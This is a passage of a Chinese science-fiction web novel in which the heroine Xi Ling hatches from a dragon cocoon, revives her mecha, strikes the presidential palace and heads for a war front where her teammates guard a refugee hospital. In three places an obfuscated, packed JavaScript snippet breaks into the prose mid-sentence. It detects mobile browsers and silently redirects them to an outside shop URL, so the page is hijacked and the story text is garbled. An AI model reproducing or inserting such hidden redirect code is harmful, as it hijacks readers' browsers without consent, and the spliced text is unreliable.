“无论你还是我,都是科技进步的产物,但人性这种东西,三千年前或三千年后,都不会有丝毫进步。”伊甸说,“可是,当我思考何为人性时,我仿佛面对着一个漆黑的深渊,它会引发我内心的不安——人性永远无法观察、无法猜测、无法考验,而这种不安,直到死亡才会消失。” 主脑依然沉默。 这个问题超出了他的解答范畴。 这一刻,他无比希望郗灵醒来。 伊甸和主脑沉默对视,双方的数据流之间,出现了一个巨大的真空地带。 但这时,巨树下的茧突然发出了轻微的“咔嚓”声。 伊甸喜悦地说:“她要破壳了!” 主脑“看”了伊甸一眼。 伊甸又说:“不,我并没有在关心她,我需要做好向总统汇报的准备,仅此而已。” 咔嚓! 咔嚓! 咔嚓! 茧的外壳由坚硬的外骨骼打造而成,里面则充盈着温热的龙血。 但茧中的生命也是强大的龙,当她吸收养分、完成成长时,那道坚不可摧的外壳,便会在她的意志下一点点碎裂。 在主脑和伊甸的注视下,一只赤裸的手臂,从茧的裂缝中探了出来。 那只手臂将细小的裂缝撑得更大,一片片半透明的碎片从茧的表面剥落。 猩红的龙血从裂缝中流出,流淌到地上便一点点挥发,显然已经失去了大部分养分。 郗灵不着寸缕,长发包裹住湿漉漉的身体,手脚并用地从茧里钻了出来。 伊甸喜悦地叫道:“她出来了!” 主脑又“看”了伊甸一眼。 但伊甸没有理会主脑,而是立刻动用权限,让角落里待机的家政型机甲急匆匆滑行了过来。 郗灵刚从茧里钻出,还未睁眼观察周围的环境,手中便递来了一样柔软、绵密、干燥的布制品。 她猛地睁开双眼,发现竟然是一件浴袍。 家政型机甲的两只眼灯一闪一闪,履带底盘上还沾着尘土,但它手中捧着的浴袍十分干净,没有染上一点脏污。 这是……主脑送来的? 郗灵想道。 “日安,郗灵。”主脑的声音温和地响起,“距离你开始沉睡,已经过去了31天6小时47秒,你现在感受如何?需要摄入食物或清水吗?” 郗灵穿上浴袍,赤脚踩在地上:“不必了,谢谢。” 主脑盯着伊甸的数据流。 ——【给她找一双柔软的拖鞋,她的脚会被地上的石子划伤。】 ——【把她这个月的身体数据发给我,我要向总统复命。我知道你做了一真一假两份记录,把假的那份给我。】 这是发生在主机房中的隐秘对话,那条属于伊甸的数据流,只有主脑可以看见。 伊甸,你为什么不亲口对郗灵说呢? 这也是青春期,或者说,人性的表现之一吗? 主脑沉默地想道。 郗灵的衣物已经被龙血分解,那种暴烈而充满能量的血液,只有龙可以消化和吸收。 她裹着浴袍,赤脚走到龙姬的巨茧前,伸出一只手,轻轻贴在茧的表面上。 在茧中沉睡时,她吸收了维尔莱德一半的力量。 她也终于明白,为何维尔莱德能以一己之力,率领一支由农奴组成的反抗军,成功杀死皇帝,推翻帝国。 龙,是一种能够拨动宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563703|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宙中的“弦”的生灵。 那种弦只存在于理论或假说中,目前无法通过任何手段观测或捕捉,但郗灵经过成长后,竟然能够隐隐感受到“弦”的存在了。 拨动弦,调整振频,从而改变这个世界。 世间万物在龙的眼中,都是运动的粒子或波,而现在的她,已经觉醒了这份与生俱来的天赋。 只是,如今的她还不够强大。 她若想改变什么,还需要付出一点点代价。 刺啦! 在主脑沉默的注视下,郗灵划开了自己的手掌。 温热猩红的鲜血从伤口中流出。 郗灵以染血的手掌再次抚摸上龙姬的巨茧,感受着那根看不见、摸不到的“弦”以自己的鲜血为媒介,被一只无形的手轻轻拨动。 咚咚! 咚咚! 咚咚! 龙姬仍在茧中沉睡,但她听到了震耳欲聋的心跳声。 它是她的机甲,它是她的半身,她和它的羁绊,不会比昔日的维尔莱德和白星更少。 “为我醒来吧,龙姬。”郗灵轻声说,“我们,应该出发了。” 嗡—— 郗灵掌心的鲜血顺着巨茧的外壳淌下,一阵蕴含着强大能量的谐波,从茧内散发而出。 郗灵拨动了“弦”,茧中龙血的养分,以更快的速度进入龙姬的身体,被那枚畸形的胚胎所吸收。 在郗灵的注视下,那枚沉寂的茧“呼吸”了起来。 有什么东西在里面孵化、蠕动,让茧的表面透射出时明时暗的光芒。 主脑的意识寄附在骸骨中,以空洞的眼窝凝视着此地发生的一切。 伊甸操控家政型机甲,滑动到郗灵身边,小小的身体只有郗灵一半高,两只澄白的眼灯向上仰起,近距离观察着巨茧。 咔嚓! 咔嚓! 咔嚓! 在三人的注视下,龙姬的茧一点点破裂、剥落。 大量猩红的龙血从茧的裂缝中流出,宛如一道从天而降的瀑布。 在伊甸的操控下,家政型机甲展开聚能护盾。 但它释放出的护盾,不到半秒便被另一种护盾吞噬、抵消。 龙血瀑布倾泻而下,但郗灵被保护在一层无形的空气罩中。 那猩红的血液只徒劳地从空气罩表面滑下,流淌在地上,蜿蜒出一条红色的河流。 巨大的茧完全破开了。 郗灵仰起头,透过空气罩,凝视那道高大的身影。 它是龙姬。 但它不是原来的龙姬了。 那身雪白的拘束装甲,依然穿戴在它的身上,但原本被破坏的胸甲,如今已覆盖着一层半透明的、琥珀质地的外骨骼。 它终于不再是人工培育的、畸化的龙了。 它终于不用依赖那身镣铐般的装甲了。 奥古斯都家族的“皇帝”何其强大,但当皇帝脱下装甲,其本体也脆弱得仿佛风中残烛。 但龙姬不会这样了。 在郗灵的注视下,龙姬轻快地嗡鸣一声,将胸口处的外骨骼收了起来。 它的血肉失去保护,裸露在外,但丝毫不显脆弱,也没有一丝生命飞速流逝的表现。 一颗巨大、血红、鲜活的心脏,正在它的胸膛里有力地跳动。 它拥有了一颗强大的心脏。 它和郗灵一样,成为了不死的龙。 78. 以牙还牙 龙姬不再需要拘束装甲,郗灵发自内心地感到高兴。 家政型机甲又送来了一套常服。 郗灵从机甲的小钳手中接过衣服:“谢谢。” 机甲卡顿了一下,头顶的方形屏幕闪过一串乱码。 郗灵拍拍机甲的铁脑壳,又看向血色巨树中镶嵌着的骸骨。 她向主脑问道:“在我沉睡的一个月里,外面发生了什么?” “重要的事有三件。”主脑流畅地回答,“第一件事,汉布格尔总统再次发起了战争,第七扇区边境成为新的星域战场。目前,萧寒剑上将正率领第七军团,向战场跃迁而去。” 战争……开始了?! 郗灵既惊讶又愤怒。 她没有想到,那位野心勃勃的总统,竟然如此急不可耐,竟在上一场战场结束不到半年后,就再次挑起了新的战争。 但她并非对此毫无预料。 战争开始,意味着她和杜尚别元帅的约定,必须要兑现了。 她曾向杜尚别允诺,在战争开始之前,她会留在中央星参与机甲联赛,并尽可能推进“胚胎”项目的进度,以及完成自己的学业。 当战争开始时,她会如杜尚别安排那般,前往远离政治漩涡的边陲之地,一边积攒军功,一边韬光养晦。 郗灵正垂眸思考,但主脑继续说道:“第二件事,本届军校机甲联赛,将以前所未有的特殊赛制进行。” 特殊赛制? 主脑的声音蕴含着沉重。 郗灵意识到此事非同小可,抬起头问道:“这赛制……是怎么个特殊法?” “总统力排众议,说服了身为主办方的五大军校,将本届比赛和即将开始的战争结合起来,并让所有参加海选的机甲小队……全部前往了战场。”主脑沉声说。 郗灵的脑袋“嗡”的一声炸响了。 荒谬! 荒谬至极! “他疯了!”郗灵厉声道,“战争无儿戏,他怎么可以这样!” “但事实就是,他不仅这么做了,还成功了。”主脑说,“在你沉睡的第三天,军部开始按照总统的命令部署部队。在你沉睡的第七天,新的比赛规则通过星网公告,发送到了全体联邦公民眼前。在你沉睡的第十天,所有未退赛的机甲小队,都开始陆陆续续乘坐星舰,前往第七扇区的星域战场。” 郗灵的手攥紧起来。 她的每一根手指都在愤怒地颤抖。 沃尔夫·汉布格尔…… 沃尔夫·汉布格尔!! 发动战争已是罪大恶极,他为什么……还要把无辜的学生卷进阴谋里?! “你所在的机甲小队,并未退出比赛。以及,你的队长欧白白,没有因你的失踪取消你的参赛资格。”看着郗灵咬牙切齿的脸,主脑轻声说。 郗灵因愤怒而略微发红的脸上,出现了一瞬间的滞怔。 欧白白…… 她竟然真的…… “二十一天前,维尔莱德军校共计15支参赛队伍,已经搭乘第七军团母舰,和萧寒剑上将一同奔赴战场。”主脑缓缓道,“在你沉睡期间,你的光脑一共收到了213条消息,其中,13条为垃圾短信,7条为政府短信,其余193条消息,分别来自欧白白、雪理、渡鸦、莱茵和凯撒。” 一根红色树枝伸到郗灵面前,枝头挂着一只腕部光脑。 郗灵深吸一口气,用力克制住内心交织的复杂情感。 她伸手摘下自己的光脑,打开了消息界面。 最引人瞩目的是凯撒,他的未读消息足有131条。 郗灵点开后大致扫了几眼,发现这位年轻的奥古斯都家主,还是贯彻了之前的作风,十句有九句是毫无意义的废话。 他讨论天气,心情,今天的食物,路边看到的小花,新认识的朋友等等。 他杀死了父亲,成为了新家主,他的身边必然交织着刀光剑影。 可他依然表现得没心没肺,仿佛那些沉痛染血的代价,不过只是些许风霜。 其次,是欧白白的未读消息。 她一共给郗灵发送了34条消息,有一半是同步队内的训练情况,另一半是追问她到底去了哪里。 ——【我黑进了联邦智库,翻遍了所有监控录像,但我找不到你。】 ——【校长说你一定会退赛,我不信。】 ——【我们出发了。】 ——【联赛新规规定,小队在成员缺席的情况下,可以参加两轮比赛。】 ——【你的参赛资格会保留到第二轮比赛的最后一秒。】 ——【这是我们全队的决定,如果你决定参赛,请一定尽快赶来。】 然后是雪理。 她给郗灵发送了23条消息。 ——【我害怕战争,但我已经选择驾驶机甲,比起那些手无寸铁之人,我更应该直面残酷的战争。】 ——【你失踪了,但墨菲说,你还活着。】 ——【学姐最近压力很大,如果你归队了,记得给她一个拥抱。】 ——【我们出发了。】 ——【我很想你。】 渡鸦给她发来了3条消息。 ——【我爷爷的坟被你的小弟掘了,你欠我一个解释。】 ——【算了,你也有不少秘密。我不强求。】 ——【早点归队。】 最后是莱茵。 他发来了2条消息。 ——【[iplink]这是我的实时坐标,你可以藉此看到小队的位置。】 ——【小心我的父亲,他欲对你举起餐刀。】 郗灵看着消息,良久没说话。 而后,她调整腕带,把光脑戴回了自己的手腕上。 “主脑,第三件重要的事是什么?”郗灵轻声问。 这一次,主脑没有立刻回答。 他似乎和虚拟世界中的某个存在交流了一番,而那台在郗灵身边待机的家政型机甲,澄白的眼灯随着时间的流逝微微闪烁。 主脑没有让郗灵等待太久。 一分钟后,他温和地说:“这件事,需要让总统的现任助理,联邦生物工程研究中心的院长——伊甸来为你说明。” 郗灵并不意外。 她在那台小小的机甲递来浴袍时,就察觉到对方的异常了。 上一次,在她前往两代凯撒决斗现场的路上,主脑也曾经短暂地操控了一台迷你机甲,并和她进行对话。 她可以感受到,这台机甲身上散发出的谐波,和寻常状态有一些不同。 迎上郗灵投下的目光,家政型机甲嗡鸣两声,用并不柔美的机械音说道:“好久不见,郗灵,我是伊甸。” 郗灵答:“好久不见。” “根据总统的命令,我把你近期的身体数据,汇总后报告给了他。”伊甸一上来就直戳郗灵的逆鳞,“郗灵,我的主人——沃尔夫·汉布格尔对你的身份心知肚明,他已经确定你是龙。就在刚才,我把你苏醒的情报汇报给了他,他希望和你展开一场对话。” 但同时,迷你机甲头部的方形屏幕上,正无声地滚动着一条弹幕。 ——【他要把你永远困在地底,快跑!】 郗灵眼神微凝。 而后,她抬起落在迷你机甲上的视线,看向镶嵌在血色巨树中的骸骨。 “主脑,”她问道,“第七军团的母舰,现在行驶到第几扇区了?” 她没有贸然点开莱茵的ip坐标。 比起莱茵,她更信任主脑。 主脑飞快地回答:“母舰已进入第六扇区,三天后,第七军团舰队以及母舰上的15支参赛队伍,将进入第七扇区星域战场。” 嗡! 突然,郗灵听到了一种遥远而磅礴的声音。 那是某种超大型能源武器开始蓄能的声音。 这个血红的地底世界,已经进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570392|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了地面武装力量的打击范围。 迷你机甲震颤了一下,戴着机械面甲的脸流露出一丝人性化的震惊。 镶嵌在树干中的骸骨没有丝毫动容,仿佛刚才发生的一幕,正在他的预料之中。 郗灵轻笑一声,抬起头,冰冷地看向上方的黑暗。 她锐利的目光穿透大地,落在了那位隐藏于幕后、翻云覆雨的总统身上。 沃尔夫·汉布格尔,他的野心已经藏不住了。 他不计后果地发起让万千生灵涂炭的战争,高居于总统的位子上却仍不满足。 财富和鲜血流淌在他的指间,他却丝毫不觉得欣喜或恐惧,如同一头永不餍足的饿狼,饥肠辘辘地盯着下一个目标。 他要称帝。 而皇帝的宝座,是由苍白的龙骨铸成的。 恢宏磅礴的嗡鸣声愈发剧烈,连整个地底世界都被巨大的能量影响,开始震动起来。 龙姬释放外骨骼,在自己中空的胸腔中打造出一只剔透的驾驶舱。 郗灵钻进驾驶舱,那层外骨骼如同收敛的花苞般层层收起。之前因撕扯胸甲而产生的巨大豁口,如今已被半透明的、琥珀质地的外骨骼重新覆盖。 嗡!! 一道刺耳的声音在这片空间上方响起。 “那位总统先生,就不怕把你的主机房轰射成齑粉吗?”感受着空气中震动的能量分子,郗灵脸上丝毫不见惧色,甚至还有心情和主脑开玩笑。 “他有恃无恐。”主脑回答,“说起来,这都是我的错——31天前,我试图毁掉主机房,和你远走高飞,他知道了这件事,并因我的失控发了好大一通火。” “是吗?”郗灵轻笑一声。 在伊甸紧张地注视下,龙姬高举起手臂,金色火焰从装甲接缝处中溢出。 “机甲暴走!”伊甸惊叫一声。 一台由金色火焰凝聚出的巨炮,架在了龙姬覆盖着雪色装甲的手臂上。 磅礴的能量在炮口汇聚,蓄能速度比地面上的超大型武器更快! “主脑!”郗灵轻快地说,“你知道,怎样才能让对手心服口服吗?” 主脑配合地答:“是同态报复法,俗称——以牙还牙。” 轰! 一束巨大的火焰从龙姬的炮口轰射而出。 火焰穿透层层阻碍,自下而上将地底轰出一个漆黑的大洞,那台即将完成蓄能的超大型能源武器,也在无尽火海中轰然爆炸、彻底损毁。 凶猛的气浪裹挟着烈焰,瞬间将地面上刚刚修葺完毕的总统府卷入一片火海。 总统府并未在突如其来的火焰轰击中摧毁。 一层流转着六角蜂窝网格的、半透明的聚能护盾,将整座总统府牢牢地保护了起来。 但总统的脸依然阴沉了下来。 他坐在办公桌后,看着对面低着头,战战兢兢不敢言语的外交官,又转头看向窗外金色的火海。 一道雪白的影子从火海中窜出,如同挑衅一般,无视了总统府周边的全部武装力量,直直飞向了中央星上空。 “伊甸。”总统说。 “主人。”伊甸答。 “那头龙,现在要去哪里?” “……第七扇区,星域战场。” 听到这个答案后,总统压抑着愤怒的脸,一瞬间恢复了平静。 “好,很好。”总统竟然笑了起来,“难怪元帅将她视作第二个维尔莱德……她身上那股不怕死的劲儿,和我们伟大的国父,果然一模一样!” 伊甸谨慎地保持沉默。 “我欣赏她,但真可惜,她必须死。”总统低低地说。 他翡翠色的眼眸倒映着跳跃的金火,仿佛隔空凝视着某张虚幻的脸庞。 “一位伟大的英雄,可以写在书里,可以挂在墙上,但唯独不能活着。”良久,他喃喃道,“维尔莱德,当你发动第一次大清洗时,你的心里……究竟在想什么呢?” 79. 燃烧的星星(一) “姐姐,你看。”一个小女孩对雪理说,“是小桥。” 雪理看着小女孩张开的双手。 小女孩正在翻花绳,白色棉绳交叉在她细短的十指间,果真像一座小桥。 雪理弯起双眸:“嗯,真厉害。” 小女孩听后,咧嘴笑了起来。 她们说话的地点,在一所医院的走廊中。 战争开始后,星域战场内的所有星球,都被划入了战乱区。 而雪理所在的这家医院,正是离前线最近的一颗星球上,收容当地难民的避难点之一。 战争时期,轰炸医院和学校,等于践踏人类的道德底线。 但这是有机和无机之间的战争。 那群冰冷的铁人,体内搭载着毁灭一切生命的战争程序,它们由电子组件构成的子脑中,没有道德可言。 小女孩乖巧又懂事。 即使走廊中充满了消毒水和鲜血的气味,并且不断有人抬着担架转移发出惨叫的伤员,但她从来没有吵闹,一直安静地跟在雪理身边。 就像其他落单的小孩,跟着其他留守的参赛者那样。 轰!! 医院走廊的玻璃窗齐齐震动了一下。 又一次,漫天的炮火朝医院袭击而来。 但它们没有一枚击中医院,而是撞上了一面罩住整个医院的、巨大的聚能护盾。 包括“塞壬”在内,十几台涂装各异的机甲,分别站在自己的点位上,合力释放出了这面巨大的护盾。 塞壬离雪理最近。 释放出护盾后,它侧头看向雪理,巨大的眼灯出现在窗外,遮住了大半个窗子。 一个老人恐惧地“啊”了一声,下意识抱头蜷缩,布满老人斑和青色血管的手止不住地颤抖。 一个参赛者无奈地看了雪理一眼,又脱下自己的外套,轻轻盖在老人的头上。 “塞壬。”雪理责备地摇头。 “嗡~”塞壬应了一声,缓步离开窗边。 小女孩盯着塞壬的背影。 “姐姐,”小女孩轻声问,“这里会被炸掉吗?” “不会。”雪理回答,“我们会守住这里,那些出去的哥哥姐姐,也会把附近的机兵全部消灭。” “嗯。”小女孩点点头。 几秒后,她发现了雪理脸上浓浓的倦色。 她低下头,攥紧手中的棉绳:“对不起……我是不是有点吵?” “不,你很乖。”雪理说,“我喜欢看你翻花绳,再给我翻一个好吗?” “好!”小女孩的双眼亮了起来,“我会很多种花样呢,你想看什么?” 雪理沉默片刻,摸了摸手腕上的光脑。 她轻声说:“我想看星星,可以吗?” 小女孩用力点头,开始翻弄手中的绳子。 雪理伸出手,摸了摸小女孩的头顶。 而后,她转过头,沉静的蓝眼睛看向窗外,继续警戒着医院周围的一切变化。 战争开始了,以一种令所有人猝不及防的速度。 雪理从未亲身经历过战争。 登上前往第七扇区的母舰后,她好几夜都害怕得发抖,辗转无法入眠。 等死比死亡更可怕。 而不幸得过机化症的她,更明白等死是何等煎熬。 但是,当她踏入这片饱受战火摧残的星域时,她竟然出人意料地镇静了下来。 她怕死。 但在她的心中,愤怒已然盖过了恐惧。 本次军校机甲联赛,包括五大军校保送的种子队在内,共计有1037支队伍加入了这场战争。 没有海选赛,没有晋级赛,没有决赛。 战争开始之日,便是联赛开始之日。 战争结束之时,便是联赛结束之时。 如果往届军校联赛,是热血沸腾的机甲竞技,那么本届联赛,便是充斥着鲜血与眼泪的、残酷的生死斗争。 战争无儿戏,但总统疯狂的举动,已经令所有心存良知的公民,对他口诛笔伐。 但无人能阻止总统的决定。 进入星域战场后,第七军团舰队构成防线,将星域战场内的宜居星球保护起来。 但是,仍有小股机械军团绕过防线,如同一把把细小锋利的匕首,刺入了战场后方。 第七军团提督,凤凰上将萧寒剑是本届联赛的最高指挥官。 在她的命令下,参赛的1037支队伍,负责清剿深入后方的机械军团,保护难民的安全。 雪理按照队长欧白白的指示,驻守大后方的避难所。 几乎每一个队伍,都在避难点留下了驻守的人手,其余人则是外出扫荡,剿灭附近的机械士兵。 一阵熟悉的脚步声在走廊中响起。 雪理闻声看去,见欧白白穿着一身作战服,朝这边走了过来。 欧白白的作战服上有几道黑灰色的灼痕。 雪理见怪不怪:“你又出舱和机兵单挑了?” “拿到机兵的子脑,击杀积分可以翻倍。”欧白白没有否认,“我安排你留守后方,你没有赚取积分的手段,我就要负责把你的那份积分赚回来。” 雪理轻声说:“谢谢你。” 欧白白咧嘴一笑:“客气什么?” “我知道,你一直担心我无法适应战争。”雪理示意欧白白在她身边坐下,“无论我还是塞壬,都不是擅长战斗的类型,如果今年的联赛不在战场上,我应该充当‘侦察’的角色。” 联赛兵种一共有七种,分别是:突击、重火力、狙击、侦察、支援、指挥、王牌。 欧白白背靠墙壁坐下,摘下头盔,一头漂亮的长发散落在肩上。 她极具锋芒地笑了一声:“学妹,我也从来没想过,身为‘支援’的我,有朝一日竟会负责收捡战友的尸体。” 一个飞行摄像头摇摇晃晃地飞了过来。 雪理盯着摄像头不说话。 欧白白把手中的头盔砸了过去:“别拍了!你以为观众很想看难民恐惧的脸和士兵血肉模糊的伤口吗?” 一层聚能护盾出现在飞行摄像头表面,挡下了砸来的头盔。 翻花绳的小女孩仰头看着摄像头。 她安静地看着屏幕上滚动的一条条弹幕。 【救命,我真的受不了小孩子露出这种平静又麻木的表情,而且脸上还有点脏脏的】 【选手都忍不住发火了,导播别跟着拍了】 【指路隔壁217号分屏,渡鸦和炎琳开杀了,一刀一个小机兵!】 【还有131号分屏!卫惊鸿也开杀了!】 【快去832号分屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580122|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃瓜!龙家兄妹又掐起来了!】 飞行摄像头飞走了。 小女孩目送摄像头离开,又把滚落在过道中央的头盔捡了回来。 几个医护人员抬着一台担架飞快跑过走廊,担架上罩着一层白布,一条手臂僵硬地垂在外面,手腕上挂着一串十字架。 十字架是银色的,但那条没有血色的手臂,竟然比十字架还要苍白。 小女孩愣在原地,目送那台担架被抬远。 她回过神,小步走回来,把手中的头盔递给欧白白。 欧白白收起脸上的薄怒,露出了一个大姐姐式的阳光微笑。 “谢谢你,小家伙。”欧白白说。 小女孩也对欧白白笑了一下,乖巧地回到雪理身边,继续低头翻弄手中的绳子。 但也许是被刚才那一幕吓到了,小女孩的手有点发抖。 雪理摸了摸小女孩的脑袋,对欧白白问道:“你今天好像特别生气。” 欧白白叹息一声:“我心里有点没底。” 雪理心领神会:“你在担心……郗灵?” “你看到那条新闻了吗?总统府又被炸了。”欧白白呼出一口气,脑袋后仰,后背抵在身后的墙壁上,“有媒体拍到了一张模糊的照片,一道白影从总统府的火海中窜出,逃离了中央星——那道白影我绝不会看错,那是她的机甲。” 雪理低头抚摸手腕上的光脑。 她说:“原来她藏得那么深,难怪你找不到她。” “我觉得,这个世界太魔幻了。”欧白白说,“自从三年前主脑失控后,联邦发生的一件件事情,都越来越不按常理出牌了。” 雪理没说话。 她唤醒光脑,第不知多少次打开了消息界面。 被她置顶的人只有寥寥几个,其中一个就是郗灵。 但郗灵的头像始终是灰色的。 如果炸掉总统府的人真的是郗灵,那么,现在的她,应该正在联邦警察的追捕下仓皇逃命吧? 所以,她应该是……没有时间查看消息的。 轰!! 无形的气浪再次袭来。 整条走廊的玻璃窗,都齐齐震动了一下。 十几台机甲共同展开的护盾,又一次成功挡住了漫天袭来的炮火。 机甲塞壬的眼灯再次出现在窗外。 但这一次,那位容易受惊的老人没有发出尖叫。 老人怔怔地盯着塞壬的眼灯,而后,缓缓伸出粗糙苍老的手,隔着那扇贴着米字防震封条的玻璃窗,笨拙地摩挲窗外的塞壬。 “铁人……”老人口齿含糊地说,“铁人啊……” 欧白白安静地看着陷入谵妄的老人,又用力闭了闭眼睛。 她的眼底闪过一丝不易察觉的水光:“这场战争,你估计会打多久?” 雪理垂着眼睛:“一切要看萧上将的战略方针,是积极的还是消极的。” 欧白白说:“上将目前的战略……很消极。” 雪理抬起眼睛,用眼神无声地询问:这是可以说的吗? 欧白白咬了咬牙,却也有所顾虑,没和雪理说太多。 ——第七军团的辎重补给,被扇区总督切断了。 这又是一场拙劣的政治斗争,而那些草菅人命的上位者,一向不在乎平民的死活。 80. 燃烧的星星(二) 驾驶机甲十分消耗精力,欧白白的精神已经极度疲惫。 欧白白闭上眼睛,脑袋靠在雪理的肩膀上,正打算趁着这难得的喘息之机,短短眯上一会儿。 但又一轮炮火轰击了过来。 轰!! 走廊上的玻璃窗齐齐震动,发出“嘭嘭”的闷响,连整栋医院都微微晃动了一下。 即使聚能护盾挡住了炮弹和激光,但火力的余波仍然令人瞠目结舌。 欧白白睁开一只眼睛:“怎么回事?” 雪理扭头盯着窗外,蓝眼睛中的神色晦涩不明:“轰炸的速度……变快了。” 滴滴! 突然,二人的光脑齐齐震动了一下。 欧白白和雪理不约而同地查看消息,而后,瞳孔猛然放大。 【莱茵】:各位,请做好随时撤离的准备。 【莱茵】:根据指挥部的最新情报,一分钟前,机械帝皇把“生产机床”运到了战场上! * 萧寒剑束着高马尾,戴着白手套的手抚过四维沙盘,眸底倒映出盈盈的蓝光。 四维沙盘上,两军的交战情况正在实时更新。 联邦军队和机械军团陷入了僵持状态,那条泾渭分明的交火线,意味着无论哪一方,都难以短时间找到突破口。 但时间就是生命。 指挥部每浪费一分钟,死去的士兵,都能以万来计数。 “上将,若要减少人员伤亡,最好的办法就是暂时撤退。”埃德蒙戴着单边黑色眼罩,仅露出的一只灰眸闪动着刀子般锋利的光。 萧寒剑抬起头,安静地凝视埃德蒙。 自黎缨退役后,原指挥部部长埃德蒙,成为了第七军团的新任副指挥官。 黎缨快人快语,却是萧寒剑最好的剑鞘。 但埃德蒙年轻气盛,他的锋芒甚至比萧寒剑还要刺眼。 “军部青黄不接,本次参战的士兵中,有四成是已经退役的老兵。”埃德蒙直接抛出了最致命的问题,“让精神透支的老兵勉强驾驶机甲,如同将一枚枚不定时炸弹投掷到战场上——恕我直言,上将,当您重新收编这些老兵时,您已经做好了牺牲他们的准备吧?” 埃德蒙作风犀利,但这还是他第一次以“副官”的身份坐上指挥桌。 其余人皆倒吸一口凉气。 萧寒剑没有发表意见。 她的目光一直落在四维沙盘上。 “我们应该暂时放弃A区和B区,直接后撤到C区。”埃德蒙继续道,“一方面,我们可以缩短补给线,并把失利的原因推给扇区总督,逼迫他补上克扣的辎重补给;另一方面,这样可以保存我军有生力量,为下一次交锋做好准备。” “那么,A区和B区的公民呢?”一位高级军官问。 埃德蒙安静了一秒。 他深吸一口气:“他们会牺牲,联邦会牢记他们的牺牲。” 指挥桌上,几个高级军官终于忍无可忍。 其中一人拍桌而起,指着埃德蒙的鼻子痛骂道:“埃德蒙!你的良心是被狗吃了吗?” “在你眼中,众生是平等的,一个手无缚鸡之力的平民,和一个驾驶机甲的老兵,在战略意义上同样重要,对吗?”埃德蒙反问。 高级军官怒目圆瞪。 他的良心让他说“是的”。 但他的职责让他说“不是”。 “扇区总督切断了补给线,我们可谓后继无力。而且,我军从第一扇区跃迁而来,本就是一支疲兵。更何况,我们的对手不是有机生命,而是不知苦累的无机士兵。”埃德蒙毫不退让地直视高级军官的双眼。 他反问道:“面对人类,我们的士兵还可能热血沸腾,但是面对数字机械,你觉得,他们心中只会剩下什么?” 高级军官沉默片刻。 而后,军官回答:“我也是从最底层的小兵一步步爬上来的……面对铁人,那时的我,心中只有恐惧与绝望。” 指挥桌上陷入了令人窒息的死寂。 巧妇难为无米之炊。 在装备劣势的情况下,银河级别的战役无法因人的意志而逆转翻盘。 用百万条人命去弥补装备上的差距,这样的奇迹,在千年前才可能发生。 “埃德蒙,你错了。”萧寒剑终于出声,“我们不能退,即使我们是劣势方,但我们不能退。” 萧寒剑把这句话重复了两遍。 熟知萧寒剑脾性的军官已经闭上了嘴。 但埃德蒙执着地追问:“为什么?” 萧寒剑伸出戴着白手套的手,食指指尖在四维沙盘上一划。 她划过的区域,正是埃德蒙打算放弃的A区和B区。 而其中,几颗资源星极为醒目。 “不要低估机械帝皇的野心,他敢在短短几个月后卷土重来,就是为了争夺第七扇区丰富的矿产资源。”萧寒剑大手一挥,在几颗资源星上做好标记,“他麾下的所有无机士兵,皆由‘生产机床’制造而出,因此,第七扇区的放射性矿石,是他最刚需的资源之一。” 埃德蒙说:“我们并非放弃A区和B区,等休整完毕,我们会把它们重新夺回来……” “你敢打包票吗?”萧寒剑反问道,“你敢用你的生命发誓,失去的领土一定可以收复吗?” 埃德蒙沉默。 他敢发誓,但他的誓言没有意义。 他只是第七军团副官,可这场战争的最高指挥官,是凤凰上将萧寒剑。 如果战败,被追责的人不是他,而是萧寒剑。 “上将!”这时,一个虚幻的投影突然出现在指挥室门口的屏幕上。 后勤部部长的脸上满是喜悦,因为她带来了一个天大的好消息。 她颤声说:“黎副官……不,退役少将黎缨为我们送来了物资!她、她还说——” 埃德蒙眼神有些滞怔:“黎副官……” 萧寒剑打断了后勤部部长的话:“她是通过什么渠道把物资送来的?” 后勤部部长沉默了一秒:“……是走私。” 一瞬间,所有人都不说话了。 指挥桌上,唯余可闻落针的沉默。 几秒后,萧寒剑主动打破了沉默。 她温和地问:“辛苦你了,黎缨还对我们说了什么?” 后勤部部长的投影颤了颤,声音也因信号不稳而夹杂着电流声。 她有力地回答:“黎缨少将还说——黎家将全力支持上将的一切决定,上将,您想做什么,就放手去做吧!” 咔嚓! 萧寒剑戴着白手套的手,用力抓紧了四维沙盘的边缘。 原本坚硬无比的合金桌沿,顿时发出了不堪重负的脆响。 在一片夹杂着欣喜和沉重的复杂气氛中,萧寒剑重新抬起头,看着门口的投影。 她问道:“黎缨送来的那批物资,能让我们支撑多久?”< 